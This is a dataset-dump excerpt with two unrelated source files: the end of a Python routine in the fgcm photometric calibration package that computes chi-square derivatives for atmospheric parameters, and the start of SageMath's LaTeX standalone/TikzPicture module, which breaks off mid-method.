np.add.at(partialArray[self.fgcmPars.parRetrievedPWVNightlyOffsetLoc:\n                                                   (self.fgcmPars.parRetrievedPWVNightlyOffsetLoc+\n                                                    self.fgcmPars.nCampaignNights)],\n                                  expNightIndexGOF[hasRetrievedPWVGOF],\n                                  deltaMagWeightedGOF[hasRetrievedPWVGOF] * (\n                                (dLdPWVGO[obsFitUseGO[hasRetrievedPWVGOF]] -\n                                 magdLdPWVRetrievedNightlyOffset[expNightIndexGOF[hasRetrievedPWVGOF],\n                                                                 obsBandIndexGO[obsFitUseGO[hasRetrievedPWVGOF]]])))\n                        partialArray[self.fgcmPars.parRetrievedPWVNightlyOffsetLoc +\n                                     uNightIndexHasRetrievedPWV] *= (2.0 / unitDict['pwvUnit'])\n                        partialArray[self.fgcmPars.nFitPars +\n                                     self.fgcmPars.parRetrievedPWVNightlyOffsetLoc +\n                                     uNightIndexHasRetrievedPWV] += 1\n\n                    else:\n                        # PWV Retrieved Global Offset\n                        np.add.at(magdLdPWVRetrievedOffset,\n                                  obsBandIndexGO[obsFitUseGO[hasRetrievedPWVGOF]],\n                                  dLdPWVGO[obsFitUseGO[hasRetrievedPWVGOF]] /\n                                  obsMagErr2GO[obsFitUseGO[hasRetrievedPWVGOF]])\n                        np.multiply.at(magdLdPWVRetrievedOffset,\n                                       obsBandIndexGO[obsFitUseGO[hasRetrievedPWVGOF]],\n                                       objMagStdMeanErr2GO[obsFitUseGO[hasRetrievedPWVGOF]])\n                        partialArray[self.fgcmPars.parRetrievedPWVOffsetLoc] = 2.0 * (\n                            np.sum(deltaMagWeightedGOF[hasRetrievedPWVGOF] * (\n                                    dLdPWVGO[obsFitUseGO[hasRetrievedPWVGOF]] -\n                                    magdLdPWVRetrievedOffset[obsBandIndexGO[obsFitUseGO[hasRetrievedPWVGOF]]])) /\n                            unitDict['pwvGlobalUnit'])\n                        partialArray[self.fgcmPars.nFitPars +\n                                     self.fgcmPars.parRetrievedPWVOffsetLoc] += 1\n\n            else:\n                ###########\n                ## PWV No External\n                ###########\n\n                noExtGOF, = np.where(~self.fgcmPars.externalPWVFlag[obsExpIndexGO[obsFitUseGO]])\n                uNightIndexNoExt = np.unique(expNightIndexGOF[noExtGOF])\n\n                # PWV Nightly Intercept\n\n                np.add.at(magdLdPWVIntercept,\n                          (expNightIndexGOF[noExtGOF],\n                           obsBandIndexGO[obsFitUseGO[noExtGOF]]),\n                          dLdPWVGO[obsFitUseGO[noExtGOF]] /\n                          obsMagErr2GO[obsFitUseGO[noExtGOF]])\n                np.multiply.at(magdLdPWVIntercept,\n                               (expNightIndexGOF[noExtGOF],\n                                obsBandIndexGO[obsFitUseGO[noExtGOF]]),\n                               objMagStdMeanErr2GO[obsFitUseGO[noExtGOF]])\n                np.add.at(partialArray[self.fgcmPars.parPWVInterceptLoc:\n                                           (self.fgcmPars.parPWVInterceptLoc+\n                                            self.fgcmPars.nCampaignNights)],\n                          expNightIndexGOF[noExtGOF],\n                          deltaMagWeightedGOF[noExtGOF] * (\n                        (dLdPWVGO[obsFitUseGO[noExtGOF]] -\n                         magdLdPWVOffset[expNightIndexGOF[noExtGOF],\n                                         obsBandIndexGO[obsFitUseGO[noExtGOF]]])))\n\n                partialArray[self.fgcmPars.parPWVInterceptLoc +\n                             uNightIndexNoExt] *= (2.0 / unitDict['pwvUnit'])\n                partialArray[self.fgcmPars.nFitPars +\n                             self.fgcmPars.parPWVInterceptLoc +\n                             uNightIndexNoExt] += 1\n\n                # PWV Nightly Percent Slope\n                np.add.at(magdLdPWVPerSlope,\n                          (expNightIndexGOF[noExtGOF],\n                           obsBandIndexGO[obsFitUseGO[noExtGOF]]),\n                          self.fgcmPars.expDeltaUT[obsExpIndexGO[obsFitUseGO[noExtGOF]]] *\n                          self.fgcmPars.expPWV[obsExpIndexGO[obsFitUseGO[noExtGOF]]] *\n                          dLdPWVGO[obsFitUseGO[noExtGOF]] /\n                          obsMagErr2GO[obsFitUseGO[noExtGOF]])\n                np.multiply.at(magdLdPWVPerSlope,\n                               (expNightIndexGOF[noExtGOF],\n                                obsBandIndexGO[obsFitUseGO[noExtGOF]]),\n                               objMagStdMeanErr2GO[obsFitUseGO[noExtGOF]])\n                np.add.at(partialArray[self.fgcmPars.parPWVPerSlopeLoc:\n                                           (self.fgcmPars.parPWVPerSlopeLoc+\n                                            self.fgcmPars.nCampaignNights)],\n                          expNightIndexGOF[noExtGOF],\n                          deltaMagWeightedGOF[noExtGOF] * (\n                        (self.fgcmPars.expDeltaUT[obsExpIndexGO[obsFitUseGO[noExtGOF]]] *\n                         self.fgcmPars.expPWV[obsExpIndexGO[obsFitUseGO[noExtGOF]]] *\n                         dLdPWVGO[obsFitUseGO[noExtGOF]] -\n                         magdLdPWVPerSlope[expNightIndexGOF[noExtGOF],\n                                           obsBandIndexGO[obsFitUseGO[noExtGOF]]])))\n\n                partialArray[self.fgcmPars.parPWVPerSlopeLoc +\n                             uNightIndex] *= (2.0 / unitDict['pwvPerSlopeUnit'])\n                partialArray[self.fgcmPars.nFitPars +\n                             self.fgcmPars.parPWVPerSlopeLoc] += 1\n\n            #############\n            ## Tau External\n            #############\n\n            if (self.fgcmPars.hasExternalTau):\n                hasExtGOF,=np.where(self.fgcmPars.externalTauFlag[obsExpIndexGO[obsFitUseGO]])\n                uNightIndexHasExt = np.unique(expNightIndexGOF[hasExtGOF])\n\n                # Tau Nightly Offset\n                np.add.at(magdLdTauOffset,\n                          (expNightIndexGOF[hasExtGOF],\n                           obsBandIndexGO[obsFitUseGO[hasExtGOF]]),\n                          dLdTauGO[obsFitUseGO[hasExtGOF]] /\n                          obsMagErr2GO[obsFitUseGO[hasExtGOF]])\n                np.multiply.at(magdLdTauOffset,\n                               (expNightIndexGOF[hasExtGOF],\n                                obsBandIndexGO[obsFitUseGO[hasExtGOF]]),\n                               objMagStdMeanErr2GO[obsFitUseGO[hasExtGOF]])\n                np.add.at(partialArray[self.fgcmPars.parExternalTauOffsetLoc:\n                                           (self.fgcmPars.parExternalTauOffsetLoc+\n                                            self.fgcmPars.nCampaignNights)],\n                          expNightIndexGOF[hasExtGOF],\n                          deltaMagWeightedGOF[hasExtGOF] * (\n                        (dLdTauGO[obsFitUseGO[hasExtGOF]] -\n                         magdLdTauOffset[expNightIndexGOF[hasExtGOF],\n                                         obsBandIndexGO[obsFitUseGO[hasExtGOF]]])))\n\n                partialArray[self.fgcmPars.parExternalTauOffsetLoc +\n                             uNightIndexHasExt] *= (2.0 / unitDict['tauUnit'])\n                partialArray[self.fgcmPars.nFitPars +\n                             self.fgcmPars.parExternalTauOffsetLoc +\n                             uNightIndexHasExt] += 1\n\n                # Tau Global Scale\n                ## MAYBE: is this correct with the logs?\n                np.add.at(magdLdTauScale,\n                          obsBandIndexGO[obsFitUseGO[hasExtGOF]],\n                          self.fgcmPars.expTau[obsExpIndexGO[obsFitUseGO[hasExtGOF]]] *\n                          dLdTauGO[obsFitUseGO[hasExtGOF]] /\n                          obsMagErr2GO[obsFitUseGO[hasExtGOF]])\n                np.multiply.at(magdLdTauScale,\n                               obsBandIndexGO[obsFitUseGO[hasExtGOF]],\n                               objMagStdMeanErr2GO[obsFitUseGO[hasExtGOF]])\n                partialArray[self.fgcmPars.parExternalTauScaleLoc] = 2.0 * (\n                    np.sum(deltaMagWeightedGOF[hasExtGOF] * (\n                            self.fgcmPars.expTau[obsExpIndexGO[obsFitUseGO[hasExtGOF]]] *\n                            dLdTauGO[obsFitUseGO[hasExtGOF]] -\n                            magdLdPWVScale[obsBandIndexGO[obsFitUseGO[hasExtGOF]]])) /\n                    unitDict['tauUnit'])\n                partialArray[self.fgcmPars.nFitPars +\n                             self.fgcmPars.parExternalTauScaleLoc] += 1\n\n            ###########\n            ## Tau No External\n            ###########\n\n            noExtGOF, = np.where(~self.fgcmPars.externalTauFlag[obsExpIndexGO[obsFitUseGO]])\n            uNightIndexNoExt = np.unique(expNightIndexGOF[noExtGOF])\n\n            # lnTau Nightly Intercept\n            np.add.at(magdLdTauIntercept,\n                      (expNightIndexGOF[noExtGOF],\n                       obsBandIndexGO[obsFitUseGO[noExtGOF]]),\n                      dLdTauGO[obsFitUseGO[noExtGOF]] /\n                      obsMagErr2GO[obsFitUseGO[noExtGOF]])\n            np.multiply.at(magdLdTauIntercept,\n                           (expNightIndexGOF[noExtGOF],\n                            obsBandIndexGO[obsFitUseGO[noExtGOF]]),\n                           objMagStdMeanErr2GO[obsFitUseGO[noExtGOF]])\n            np.add.at(partialArray[self.fgcmPars.parLnTauInterceptLoc:\n                                       (self.fgcmPars.parLnTauInterceptLoc+\n                                        self.fgcmPars.nCampaignNights)],\n                      expNightIndexGOF[noExtGOF],\n                      deltaMagWeightedGOF[noExtGOF] * (\n                    (dLdTauGO[obsFitUseGO[noExtGOF]] -\n                     magdLdTauOffset[expNightIndexGOF[noExtGOF],\n                                     obsBandIndexGO[obsFitUseGO[noExtGOF]]])))\n\n            partialArray[self.fgcmPars.parLnTauInterceptLoc +\n                         uNightIndexNoExt] *= (2.0 / unitDict['lnTauUnit'])\n            partialArray[self.fgcmPars.nFitPars +\n                         self.fgcmPars.parLnTauInterceptLoc +\n                         uNightIndexNoExt] += 1\n\n            # lnTau nightly slope\n            np.add.at(magdLdTauPerSlope,\n                      (expNightIndexGOF[noExtGOF],\n                       obsBandIndexGO[obsFitUseGO[noExtGOF]]),\n                      self.fgcmPars.expDeltaUT[obsExpIndexGO[obsFitUseGO[noExtGOF]]] *\n                      #self.fgcmPars.expTau[obsExpIndexGO[obsFitUseGO[noExtGOF]]] *\n                      dLdTauGO[obsFitUseGO[noExtGOF]] /\n                      obsMagErr2GO[obsFitUseGO[noExtGOF]])\n            np.multiply.at(magdLdTauPerSlope,\n                           (expNightIndexGOF[noExtGOF],\n                            obsBandIndexGO[obsFitUseGO[noExtGOF]]),\n                           objMagStdMeanErr2GO[obsFitUseGO[noExtGOF]])\n            np.add.at(partialArray[self.fgcmPars.parLnTauSlopeLoc:\n                                       (self.fgcmPars.parLnTauSlopeLoc+\n                                        self.fgcmPars.nCampaignNights)],\n                      expNightIndexGOF[noExtGOF],\n                      deltaMagWeightedGOF[noExtGOF] * (\n                    (self.fgcmPars.expDeltaUT[obsExpIndexGO[obsFitUseGO[noExtGOF]]] *\n                     #self.fgcmPars.expTau[obsExpIndexGO[obsFitUseGO[noExtGOF]]] *\n                     dLdTauGO[obsFitUseGO[noExtGOF]] -\n                     magdLdTauPerSlope[expNightIndexGOF[noExtGOF],\n                                       obsBandIndexGO[obsFitUseGO[noExtGOF]]])))\n\n            partialArray[self.fgcmPars.parLnTauSlopeLoc +\n                         uNightIndexNoExt] *= (2.0 / unitDict['lnTauSlopeUnit'])\n            partialArray[self.fgcmPars.nFitPars +\n                         self.fgcmPars.parLnTauSlopeLoc +\n                         uNightIndexNoExt] += 1\n\n\n            #############\n            ## Washes (QE Sys)\n            #############\n\n            expWashIndexGOF = self.fgcmPars.expWashIndex[obsExpIndexGO[obsFitUseGO]]\n            uWashIndex = np.unique(expWashIndexGOF)\n\n            # Wash Intercept\n            np.add.at(magdLdWashIntercept,\n                      (expWashIndexGOF,obsBandIndexGO[obsFitUseGO]),\n                      1./obsMagErr2GO[obsFitUseGO])\n            np.multiply.at(magdLdWashIntercept,\n                           (expWashIndexGOF,obsBandIndexGO[obsFitUseGO]),\n                           objMagStdMeanErr2GO[obsFitUseGO])\n            np.add.at(partialArray[self.fgcmPars.parQESysInterceptLoc:\n                                       (self.fgcmPars.parQESysInterceptLoc +\n                                        self.fgcmPars.nWashIntervals)],\n                      expWashIndexGOF,\n                      deltaMagWeightedGOF * (\n                    (1.0 - magdLdWashIntercept[expWashIndexGOF,\n                                               obsBandIndexGO[obsFitUseGO]])))\n\n            partialArray[self.fgcmPars.parQESysInterceptLoc +\n                         uWashIndex] *= (2.0 / unitDict['qeSysUnit'])\n            partialArray[self.fgcmPars.nFitPars +\n                         self.fgcmPars.parQESysInterceptLoc +\n                         uWashIndex] += 1\n\n            # Wash Slope\n            np.add.at(magdLdWashSlope,\n                      (expWashIndexGOF,obsBandIndexGO[obsFitUseGO]),\n                      (self.fgcmPars.expMJD[obsExpIndexGO[obsFitUseGO]] -\n                       self.fgcmPars.washMJDs[expWashIndexGOF]) /\n                       obsMagErr2GO[obsFitUseGO])\n            np.multiply.at(magdLdWashSlope,\n                           (expWashIndexGOF,obsBandIndexGO[obsFitUseGO]),\n                           objMagStdMeanErr2GO[obsFitUseGO])\n            np.add.at(partialArray[self.fgcmPars.parQESysSlopeLoc:\n                                       (self.fgcmPars.parQESysSlopeLoc +\n                                        self.fgcmPars.nWashIntervals)],\n                      expWashIndexGOF,\n                      deltaMagWeightedGOF * (\n                    (self.fgcmPars.expMJD[obsExpIndexGO[obsFitUseGO]] -\n                     self.fgcmPars.washMJDs[expWashIndexGOF]) -\n                    magdLdWashSlope[expWashIndexGOF,\n                                    obsBandIndexGO[obsFitUseGO]]))\n            partialArray[self.fgcmPars.parQESysSlopeLoc +\n                         uWashIndex] *= (2.0 / unitDict['qeSysSlopeUnit'])\n            partialArray[self.fgcmPars.nFitPars +\n                         self.fgcmPars.parQESysSlopeLoc +\n                         uWashIndex] += 1\n\n\n        # note that this store doesn't need locking because we only access\n        #  a given array from a single process\n\n        totalArr = snmm.getArray(self.totalHandleDict[thisCore])\n        totalArr[:] = totalArr[:] + partialArray\n\n        # and we're done\n        return None\n\n    def __getstate__(self):\n        # Don't try to pickle the logger.\n\n        state = self.__dict__.copy()\n        del state['fgcmLog']\n        return state\n", "meta": {"hexsha": "d1d56ca89d805858d582c5655a1fdd0cbd2f3055", "size": 48875, "ext": "py", "lang": "Python", "max_stars_repo_path": "fgcm/fgcmChisq.py", "max_stars_repo_name": "gcmshadow/fgcm", "max_stars_repo_head_hexsha": "f94231d90dc5f1b5711af3b1e259d26a6144cc15", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "fgcm/fgcmChisq.py", "max_issues_repo_name": "gcmshadow/fgcm", "max_issues_repo_head_hexsha": "f94231d90dc5f1b5711af3b1e259d26a6144cc15", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "fgcm/fgcmChisq.py", "max_forks_repo_name": "gcmshadow/fgcm", "max_forks_repo_head_hexsha": "f94231d90dc5f1b5711af3b1e259d26a6144cc15", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.1956521739, "max_line_length": 185, "alphanum_fraction": 0.5530434783, "include": true, "reason": "import numpy", "num_tokens": 12290, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.1824255260288117, "lm_q1q2_score": 0.09192534822793161}}
{"text": "# -*- coding: utf-8 -*-\nr\"\"\"\nStandalone LaTeX Document class and TikzPicture\n\nThis module contains two Python classes. Firstly, it contains a class\n:class:`Standalone` to represent a LaTeX file using the standalone__\ndocument class.\n\n__ http://www.ctan.org/pkg/standalone\n\nFrom its documentation:\n\n    *The standalone bundle allows users to easily place picture environments\n    or other material in own source files and compile these on their own or as\n    part of a main document. A special standalone class is provided for use\n    with such files, which by default crops the resulting output file to the\n    content. The standalone package enables the user to simply load the\n    standalone files using ``\\input`` inside a main document.*\n\nSecondly, it contains a class :class:`TikzPicture` which inherits from\n:class:`Standalone` that represents a LaTeX file using the standalone\ndocument class and containing a tikzpicture.\n\nA Python Module for PGF/Tikz pictures. A TikzPicture object is created from\na string starting with ``r'\\begin{tikzpicture}'`` and ending with\n``r'\\end{tikzpicture}'``.\n\nThe module allows to convert a standalone LaTeX document class file,\nincluding tikzpictures, to an image. It allows conversion to pdf, png and\nsvg formats. It also show them automatically in Jupyter using rich\nrepresentation.\n\nAccording to wikipedia, `PGF/TikZ`__ is a pair of languages for producing\nvector graphics (e.g., technical illustrations and drawings) from a\ngeometric/algebraic description, with standard features including the\ndrawing of points, lines, arrows, paths, circles, ellipses and polygons.\n\n__ https://www.ctan.org/pkg/pgf\n\nEXAMPLES:\n\nStandalone LaTeX document class\n-------------------------------\n\nFirst *Hello World* example::\n\n    sage: from sage.misc.latex_standalone import Standalone\n    sage: Standalone('Hello World')\n    \\documentclass{standalone}\n    \\begin{document}\n    Hello World\n    \\end{document}\n\nLoading a few latex packages::\n\n    sage: Standalone('Hello World', usepackage=['amsmath', 'amsfont'])\n    \\documentclass{standalone}\n    \\usepackage{amsmath}\n    \\usepackage{amsfont}\n    \\begin{document}\n    Hello World\n    \\end{document}\n\nSetting few standalone options (see documentation of standalone for a\ncomplete list)::\n\n    sage: Standalone('Hello World', standalone_config=[\"border=4mm\", \"beamer=true\"])\n    \\documentclass{standalone}\n    \\standaloneconfig{border=4mm}\n    \\standaloneconfig{beamer=true}\n    \\begin{document}\n    Hello World\n    \\end{document}\n\nAdding your own list of macros::\n\n    sage: Standalone('Hello World', macros=[r'\\newcommand{\\ZZ}{\\mathbb{Z}}'])\n    \\documentclass{standalone}\n    \\newcommand{\\ZZ}{\\mathbb{Z}}\n    \\begin{document}\n    Hello World\n    \\end{document}\n\nIt provides conversion to images of different format::\n\n    sage: from sage.misc.latex_standalone import Standalone\n    sage: s = Standalone('Hello World')\n    sage: _ = s.pdf()    # not tested\n    sage: _ = s.png()    # not tested\n    sage: _ = s.svg()    # not tested\n    sage: s              # not tested, in Jupyter, this shows the image directly below the cell\n\nTikzPicture\n-----------\n\nThis module also contains a class :class:`TikzPicture` which inherits from\n:class:`Standalone` to represent more specifically a tikzpicture which is\nwithin a standalone document class.\n\nFirst construct a string describing a tikzpicture::\n\n    sage: lines = []\n    sage: lines.append(r'\\begin{tikzpicture}')\n    sage: lines.append(r'\\draw[very thick,orange,->] (0,0) -- (1,1);')\n    sage: lines.append(r'\\end{tikzpicture}')\n    sage: s = '\\n'.join(lines)\n    sage: print(s)\n    \\begin{tikzpicture}\n    \\draw[very thick,orange,->] (0,0) -- (1,1);\n    \\end{tikzpicture}\n\nOne may provide it as input to ``TikzPicture``::\n\n    sage: from sage.misc.latex_standalone import TikzPicture\n    sage: t = TikzPicture(s)\n\nIn the terminal, the following shows the content of the standalone\ndocument class tex file which contains the tikzpicture. In Jupyter, it\nshows the picture itself::\n\n    sage: t\n    \\documentclass[tikz]{standalone}\n    \\begin{document}\n    \\begin{tikzpicture}\n    \\draw[very thick,orange,->] (0,0) -- (1,1);\n    \\end{tikzpicture}\n    \\end{document}\n\nAs it is the case for :class:`Standalone`, the constructor of\n``TikzPicture`` has many arguments allowing for example to add some more\n``\\usepackage`` lines::\n\n    sage: t = TikzPicture(s, usepackage=['amsmath'])\n    sage: t\n    \\documentclass[tikz]{standalone}\n    \\usepackage{amsmath}\n    \\begin{document}\n    \\begin{tikzpicture}\n    \\draw[very thick,orange,->] (0,0) -- (1,1);\n    \\end{tikzpicture}\n    \\end{document}\n\nMoreover, it allows to load some tikz libraries::\n\n    sage: t = TikzPicture(s, usetikzlibrary=['arrows'])\n    sage: t\n    \\documentclass[tikz]{standalone}\n    \\usetikzlibrary{arrows}\n    \\begin{document}\n    \\begin{tikzpicture}\n    \\draw[very thick,orange,->] (0,0) -- (1,1);\n    \\end{tikzpicture}\n    \\end{document}\n\nThe following example illustrates that it works when providing the\ntikzpicture code generated by Sage from some polyhedron::\n\n    sage: from sage.misc.latex_standalone import TikzPicture\n    sage: V = [[1,0,1],[1,0,0],[1,1,0],[0,0,-1],[0,1,0],[-1,0,0],[0,1,1],[0,0,1],[0,-1,0]]\n    sage: P = Polyhedron(vertices=V).polar()\n    sage: s = P.projection().tikz([674,108,-731],112)\n    sage: t = TikzPicture(s)\n\nOpen the image in a viewer (the returned value is a string giving the\nabsolute path to the file in some temporary directory)::\n\n    sage: path_to_file = t.pdf()                # not tested\n\nInstead, you may save a pdf of the tikzpicture into a file of your choice\n(but this does not open the viewer)::\n\n    sage: _ = t.pdf('tikz_polytope.pdf')        # not tested\n\nOpening the image in a viewer can be turned off::\n\n    sage: _ = t.pdf(view=False)      # long time (2s) # optional latex\n\nThe same can be done with png format (translated from pdf with convert\ncommand which needs the installation of imagemagick)::\n\n    sage: _ = t.png(view=False)      # long time (2s) # optional latex imagemagick\n\nThe string representation gives the header (5 lines) and tail (5 lines) of\nthe tikzpicture. In Jupyter, it will instead use rich representation and\nshow the image directly below the cell in png or svg format::\n\n    sage: t\n    \\documentclass[tikz]{standalone}\n    \\begin{document}\n    \\begin{tikzpicture}%\n            [x={(0.249656cm, -0.577639cm)},\n            y={(0.777700cm, -0.358578cm)},\n            z={(-0.576936cm, -0.733318cm)},\n    ...\n    \\node[vertex] at (0.00000, -1.00000, 0.00000)     {};\n    \\node[vertex] at (-0.50000, -0.50000, -0.50000)     {};\n    %%\n    %%\n    \\end{tikzpicture}\n    \\end{document}\n\nUse ``print(t)`` to see the complete content of the file::\n\n    sage: print(t)               # not tested\n\nAdding a border in the options avoids cropping the vertices of a graph::\n\n    sage: g = graphs.PetersenGraph()       # optional - sage.graphs\n    sage: s = latex(g)   # takes 3s but the result is cached # optional latex sage.graphs\n    sage: t = TikzPicture(s, standalone_config=[\"border=4mm\"], usepackage=['tkz-graph']) # optional latex sage.graphs\n    sage: _ = t.pdf()    # not tested\n\nThe current latex representation of a transducer is a tikzpicture using\nthe tikz library automata. The string can be used as input::\n\n    sage: s = latex(transducers.GrayCode())                # optional sage.combinat\n    sage: t = TikzPicture(s, usetikzlibrary=['automata'])  # optional sage.combinat\n    sage: _ = t.pdf(view=False)           # long time (2s) # optional sage.combinat latex\n\nAUTHORS:\n\n- S\u00e9bastien Labb\u00e9, initial version in slabbe-0.2.spkg, nov 2015.\n- S\u00e9bastien Labb\u00e9, inclusion into SageMath from slabbe-0.6.2, July 2021.\n\"\"\"\n\n# ****************************************************************************\n#       Copyright (C) 2015-2022 S\u00e9bastien Labb\u00e9 <slabqc@gmail.com>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#  as published by the Free Software Foundation; either version 2 of\n#  the License, or (at your option) any later version.\n#                  https://www.gnu.org/licenses/\n# ****************************************************************************\nfrom subprocess import run\nimport os\n\nfrom sage.structure.sage_object import SageObject\nfrom sage.misc.superseded import experimental\n\n\nclass Standalone(SageObject):\n    r\"\"\"\n    LaTeX standalone document class.\n\n    INPUT:\n\n    - ``content`` -- string, the content to be added in the document\n      between lines ``r'\\begin{document}'`` and ``r'\\end{document}'``\n    - ``document_class_options`` -- list of strings (default: ``[]``),\n      latex document class standalone options. Such options appear on the\n      line ``\\documentclass[...]{standalone}`` between the brackets.\n    - ``standalone_config`` -- list of strings (default: ``[]``),\n      standalone configuration options. Such options are defined with\n      ``\\standaloneconfig{...}``\n    - ``usepackage`` -- list of strings (default: ``[]``), latex packages.\n    - ``macros`` -- list of strings (default: ``[]``), stuff you need for the picture.\n    - ``use_sage_preamble`` -- bool (default: ``False``), whether to include sage\n      latex preamble and sage latex macros, that is, the content of\n      :func:`sage.misc.latex.extra_preamble()`,\n      :func:`sage.misc.latex.extra_macros()` and\n      :func:`sage.misc.latex_macros.sage_latex_macros()`.\n\n    EXAMPLES::\n\n        sage: from sage.misc.latex_standalone import Standalone\n        sage: content = \"\\\\section{Intro}\\nTest\\n\"\n        sage: t = Standalone(content)\n        sage: t\n        \\documentclass{standalone}\n        \\begin{document}\n        \\section{Intro}\n        Test\n        \\end{document}\n\n    ::\n\n        sage: t = Standalone(content, standalone_config=[\"border=4mm\"], usepackage=['amsmath'])\n        sage: t\n        \\documentclass{standalone}\n        \\standaloneconfig{border=4mm}\n        \\usepackage{amsmath}\n        \\begin{document}\n        \\section{Intro}\n        Test\n        \\end{document}\n\n    \"\"\"\n    def __init__(self, content, document_class_options=None,\n            standalone_config=None, usepackage=None, macros=None,\n            use_sage_preamble=False):\n        r\"\"\"\n        See :class:`Standalone` for full information.\n\n        EXAMPLES::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: content = \"\\\\section{Intro}\\n\\nTest\\n\"\n            sage: t = Standalone(content)\n        \"\"\"\n        self._content = content\n        self._document_class_options = [] if document_class_options is None else list(document_class_options)\n        self._standalone_config = [] if standalone_config is None else standalone_config\n        self._usepackage = [] if usepackage is None else usepackage\n        self._macros = [] if macros is None else macros\n        if use_sage_preamble:\n            from sage.misc.latex import _Latex_prefs\n            for key in ['preamble', 'macros']:\n                s = _Latex_prefs._option[key]\n                if s:\n                    self._macros.append(s)\n            from sage.misc.latex_macros import sage_latex_macros\n            self._macros.extend(sage_latex_macros())\n\n    def _latex_file_header_lines(self):\n        r\"\"\"\n        EXAMPLES::\n\n            sage: latex.extra_preamble('')\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: A = ['tikz']\n            sage: B = [\"border=4mm\"]\n            sage: C = ['amsmath']\n            sage: t = Standalone(s, document_class_options=A, standalone_config=B, usepackage=C)\n            sage: t._latex_file_header_lines()[:6]\n            ['\\\\documentclass[tikz]{standalone}',\n             '\\\\standaloneconfig{border=4mm}',\n             '\\\\usepackage{amsmath}']\n        \"\"\"\n        lines = []\n        if self._document_class_options:\n            options = ','.join(self._document_class_options)\n            lines.append(r\"\\documentclass[{}]{{standalone}}\".format(options))\n        else:\n            lines.append(r\"\\documentclass{standalone}\")\n        for config in self._standalone_config:\n            lines.append(r\"\\standaloneconfig{{{}}}\".format(config))\n        for package in self._usepackage:\n            lines.append(r\"\\usepackage{{{}}}\".format(package))\n        lines.extend(self._macros)\n        return lines\n\n    def _repr_(self):\n        r\"\"\"\n        Return a string representation of the Standalone file.\n\n        It contains the first few and last few lines of the content.\n\n        NOTE::\n\n            Use ``print(t)`` or ``str(t)`` to show or get the full content.\n\n        EXAMPLES:\n\n        When the content has 10 lines or less, it shows it all::\n\n            sage: from sage.misc.latex_standalone import Standalone\n            sage: s = \"\\\\begin{tikzpicture}\\n\\\\draw (0,0) -- (1,1);\\n\\\\end{tikzpicture}\"\n            sage: t = Standalone(s, document_class_options=['tikz'], standalone_config=[\"border=4mm\"], usepackage=['amsmath'])\n            sage: t\n            \\documentclass[tikz]{standalone}\n            \\standaloneconfig{border=4mm}\n            \\usepackage{amsmath}\n            \\begin{document}\n            \\begin{tikzpicture}\n            \\draw (0,0) -- (1,1);\n            \\end{tikzpicture}\n            \\end{document}\n\n        When the content more than 10 lines, it shows the head (first 5\n        lines) and tail (last 5 lines) of the content together with the\n        complete header of the standalone latex document. The number of\n        missing lines and the number of characters in the content is\n        written allowing to detect a change if needed::\n\n            sage: lines = []\n            sage: lines.append(r'\\begin{tikzpicture}')\n            sage: lines.append(r'\\draw[->] (-.5,0) -- (20,0);')\n            sage: lines.extend(r'\\draw({i},-.5) -- ({i},.5);'.format(i=i) for i in range(20))\n            sage: lines.append(r'\\end{tikzpicture}')\n            sage: t = Standalone('\\n'.join(lines), document_class_options=['tikz'])\n            sage: t\n            \\documentclass[tikz]{standalone}\n            \\begin{document}\n            \\begin{tikzpicture}\n            \\draw[->] (-.5,0) -- (20,0);\n            \\draw(0,-.5) -- (0,.5);\n            \\draw(1,-.5) -- (1,.5);\n            \\draw(2,-.5) -- (2,.5);\n            ---\n            13 lines not printed (566 characters in total).\n            Use print to see the full content.\n            ---\n            \\draw(16,-.5) -- (16,.5);\n            \\draw(17,-.5) -- (17,.5);\n            \\draw(18,-.5) -- (18,.5);\n            \\draw(19,-.5) -- (19,.5);\n            \\end{tikzpicture}\n            \\end{document}\n\n        \"\"\"\n        lines = self._latex_file_header_lines()\n        lines.append(r\"\\begin{document}\")\n        L = self._content.splitlines()\n        if len(L) <= 10:\n            lines.extend(L)\n        else:\n            lines.extend(L[:5])\n            lines.append('---')\n            lines.append('{} lines not printed ({} characters in total).'.format(len(L) - 10,\n                                                           len(self._content)))\n            lines.append('Use print to see the full content.')\n            lines.append('---')\n            lines.extend(L[-5:])\n        lines.append(r\"\\end{document}\")\n        return '\\n'.join(lines)\n\n    def _rich_repr_(self, display_manager, **kwds):\n        r\"\"\"\n        Rich Output Magic Method\n\n        See :mod:`sage.repl.rich_output` for details.\n\n        EXAMPLES::\n\n            sage: from sage.repl.rich_output import get_display_manager\n            sage: dm = get_display_manager()\n            sage: dm.is_in_terminal()\n            False\n\n            sage: from sage.misc.latex_standalone import TikzPicture\n            sage: lines = []\n            sage: lines.append(r'\\begin{tikzpicture}')\n            sage: lines.append(r'\\draw[very thick,orange,->] (0,0) -- (1,1);')\n            sage: lines.append(r'\\end{tikzpicture}')\n            sage: s = '\\n'.join(lines)\n            sage: t = TikzPicture(s)\n            sage: t._rich_repr_(dm)      # random result is Text in doctest\n            OutputImagePng container\n\n        Using vector svg instead of png::\n\n            sage: dm.preferences.graphics = 'vector'\n            sage: t._rich_repr_(dm)      # random result is Text in doctest\n            OutputImageSvg container\n            sage: dm.preferences.graphics = 'raster'\n        \"\"\"\n        # Do not use rich output in the terminal\n        if display_manager.is_in_terminal():\n            return\n        # Do not use rich output if not in IPython notebook (Jupyter)\n        from sage.repl.rich_output.backend_ipython import BackendIPythonNotebook\n        if not isinstance(display_manager._backend, BackendIPythonNotebook):\n            return\n\n        types = display_manager.types\n        prefer_raster = (\n            ('png', types.OutputImagePng),\n        )\n        prefer_vector = (\n            ('svg', types.OutputImageSvg),\n            ('pdf', types.OutputImagePdf),\n        )\n        graphics = display_manager.preferences.graphics\n        if graphics == 'disable':\n            return\n        elif graphics == 